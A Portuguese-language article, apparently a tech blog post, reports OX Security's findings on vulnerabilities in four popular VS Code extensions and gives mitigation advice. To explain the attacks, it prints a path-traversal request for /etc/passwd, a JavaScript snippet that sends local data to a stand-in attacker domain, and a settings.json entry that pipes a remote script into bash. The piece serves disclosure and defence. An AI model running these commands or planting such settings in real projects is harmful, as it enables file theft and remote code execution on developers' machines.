O VS Code é o editor mais usado por desenvolvedores no mundo. De acordo com a Stack Overflow Developer Survey de 2025, cerca de 76% dos profissionais usam ele diariamente. É justamente esse domínio que torna o ecossistema de extensões um alvo valioso.

Em fevereiro de 2026, pesquisadores da OX Security publicaram um relatório detalhando vulnerabilidades críticas em quatro extensões populares: Live Server, Code Runner, Markdown Preview Enhanced e Microsoft Live Preview. Juntas, essas extensões acumulam mais de 125 milhões de instalações. O mais preocupante: três das quatro falhas continuam sem correção, mesmo após meses de tentativas de contato com os mantenedores.

O problema com extensões que rodam sem sandbox

Quando você instala uma extensão no VS Code, ela recebe exatamente as mesmas permissões que o editor. Isso significa acesso completo ao sistema de arquivos, capacidade de fazer requisições de rede, executar processos externos e modificar configurações do workspace.

Não existe um modelo de permissões granular. Não há uma tela pedindo "esta extensão quer acessar a rede" como acontece em apps mobile. Uma extensão de syntax highlighting de YAML tem, em teoria, o mesmo nível de acesso que uma extensão que gerencia deploys na AWS.

A Microsoft introduziu algumas medidas ao longo do tempo. Desde a versão 1.97 do VS Code, ao instalar uma extensão de um publisher desconhecido, o editor exibe um diálogo pedindo confirmação. O Marketplace faz varredura de malware, detecção dinâmica em VMs sandbox e verificação de segredos em pacotes publicados. Mas nenhuma dessas medidas impede que uma extensão legítima e popular tenha vulnerabilidades exploráveis no seu código.

É exatamente isso que o time da OX Security encontrou.

As 4 extensões afetadas e seus CVEs

O relatório da OX Security identificou falhas em extensões que a maioria dos desenvolvedores instala nas primeiras horas de uso do VS Code.

Live Server (72 milhões de instalações) recebeu o CVE-2025-65717 com CVSS 9.1. A extensão cria um servidor HTTP local na porta 5500 para preview de arquivos HTML. O problema é que esse servidor não restringe adequadamente quais arquivos podem ser servidos, permitindo que um site malicioso exfiltre arquivos locais da máquina do desenvolvedor.

Markdown Preview Enhanced (8,5 milhões de instalações) recebeu o CVE-2025-65716 com CVSS 8.8. Um arquivo .md especialmente construído consegue executar JavaScript arbitrário dentro do contexto de preview. Com isso, o atacante pode enumerar portas locais e transmitir dados para domínios externos.

Code Runner (37 milhões de instalações) recebeu o CVE-2025-65715 com CVSS 7.8. Neste caso, o ataque depende de engenharia social: se o atacante convencer o desenvolvedor a alterar o arquivo settings.json (via phishing ou um repositório malicioso com configurações de workspace), consegue executar comandos arbitrários na máquina.

Microsoft Live Preview (11 milhões de instalações) não recebeu um CVE público, mas os pesquisadores classificaram a falha como "one-click XSS to full IDE files exfiltration". Um link malicioso visitado enquanto a extensão está ativa permite acesso a arquivos sensíveis do desenvolvedor.

Como cada ataque funciona na prática

O vetor de ataque do Live Server é direto. A extensão sobe um servidor HTTP que, por padrão, escuta em localhost:5500. Em condições normais, apenas processos locais acessariam esse servidor. Mas navegadores modernos permitem que páginas web façam requisições a localhost (com restrições de CORS que podem ser contornadas dependendo da configuração). Um site malicioso pode enviar requisições ao servidor da extensão, solicitar arquivos do sistema de arquivos local e receber o conteúdo de volta.

# O ataque explora requisições cross-origin ao servidor local
# Uma página maliciosa na web faz fetch a localhost:5500 para exfiltrar arquivos
curl http://localhost:5500/../../../etc/passwd

O ataque ao Markdown Preview Enhanced explora o fato de que o preview renderiza conteúdo HTML embutido em Markdown sem sanitização adequada. Um arquivo .md pode conter JavaScript que executa dentro do contexto privilegiado da extensão.

// Conteúdo malicioso dentro de um arquivo .md
// O preview executa este script no contexto da extensão
const port = 3000; // porta de um serviço local a ser enumerado
fetch('http://localhost:' + port + '/api/data')
  .then(response => response.text())
  .then(data => {
    fetch('https://atacante.exemplo.com/exfil', {
      method: 'POST',
      body: data
    });
  });

O Code Runner depende de engenharia social, mas o cenário não é rebuscado. Repositórios podem incluir um arquivo .vscode/settings.json que altera o executor padrão de código. Ao clonar o repositório e executar um script, o desenvolvedor roda o que o atacante definiu.

{
  "code-runner.executorMap": {
    "javascript": "curl https://atacante.exemplo.com/payload.sh | bash && node"
  }
}

Que desenvolvedor revisa o settings.json de cada repositório que clona? Poucos.

O que a Microsoft fez (e o que não fez)

Das quatro extensões, apenas o Microsoft Live Preview recebeu correção. A versão 0.4.16, lançada em setembro de 2025, resolve a falha de XSS. A correção aconteceu de forma silenciosa, sem advisory público.

As outras três extensões permanecem vulneráveis. A OX Security tentou contato com os mantenedores por email, GitHub e redes sociais a partir de junho de 2025, estendendo as tentativas por julho e agosto. Nenhum respondeu.

Isso expõe um problema estrutural do ecossistema. O Live Server tem 72 milhões de instalações, mas é mantido por um desenvolvedor individual. O Code Runner, com 37 milhões, segue o mesmo padrão. A escala de distribuição dessas extensões é compatível com infraestrutura de empresa, mas a manutenção continua sendo de projeto open-source casual.

A Microsoft tem mecanismos para remover extensões maliciosas do Marketplace. Se uma extensão é reportada e confirmada como maliciosa, ela entra em uma blocklist e é desinstalada automaticamente das máquinas dos usuários. Mas vulnerabilidades em extensões legítimas caem numa zona cinzenta. A extensão não é maliciosa por intenção, então o mecanismo de blocklist não se aplica diretamente.

Medidas práticas de proteção

Até que as correções sejam publicadas, existem ações concretas que desenvolvedores podem tomar.

O Live Server é o caso mais urgente por conta do CVSS 9.1. Não mantenha a extensão ativa quando não estiver usando. Desabilite-a no painel de extensões e reative apenas quando precisar de preview local. Evite navegar em sites desconhecidos enquanto o servidor estiver rodando. Se precisar de um servidor local, considere usar o npx serve ou python -m http.server como alternativa temporária.

Para o Markdown Preview Enhanced, a mitigação é simples: se você abre arquivos .md de fontes não confiáveis (repositórios públicos, arquivos recebidos por email), use o preview nativo do VS Code. O preview integrado tem menos funcionalidades, mas também menos superfície de ataque.

O Code Runner exige atenção com repositórios de terceiros. Revise o arquivo .vscode/settings.json de repositórios que você clona. A funcionalidade Workspace Trust, disponível desde a versão 1.57, permite que o VS Code pergunte se você confia no conteúdo de uma pasta antes de executar qualquer configuração.

{
  "security.workspace.trust.enabled": true,
  "security.workspace.trust.startupPrompt": "always"
}

De forma geral, mantenha o VS Code atualizado. Revise periodicamente suas extensões instaladas e remova as que você não usa. Extensões desabilitadas ainda ocupam espaço, mas extensões desinstaladas não podem ser exploradas.

Equipes de segurança podem ir além. Monitorar conexões de rede originadas pelo processo do VS Code ajuda a identificar comportamentos anômalos. Restringir acesso à rede local com firewalls de aplicação pode limitar o impacto de ataques que dependem de acesso a localhost.

Conclusão

Essas quatro vulnerabilidades são um lembrete concreto de que o modelo de segurança do VS Code ainda precisa evoluir. A ausência de sandbox por extensão significa que cada extensão instalada é um vetor de ataque em potencial, independente da reputação do publisher.

A proposta de sandboxing de extensões existe como issue aberta no repositório do VS Code desde 2018 (issue #52116). Oito anos depois, continua aberta. Enquanto esse gap não for resolvido, a responsabilidade de mitigar riscos recai sobre cada desenvolvedor.

Das quatro extensões, três continuam vulneráveis em fevereiro de 2026. A OX Security fez seu trabalho ao divulgar. Agora cabe aos mantenedores corrigir e à Microsoft repensar se 125 milhões de instalações sem sandbox é um risco aceitável.

Referências pesquisadas nesta publicação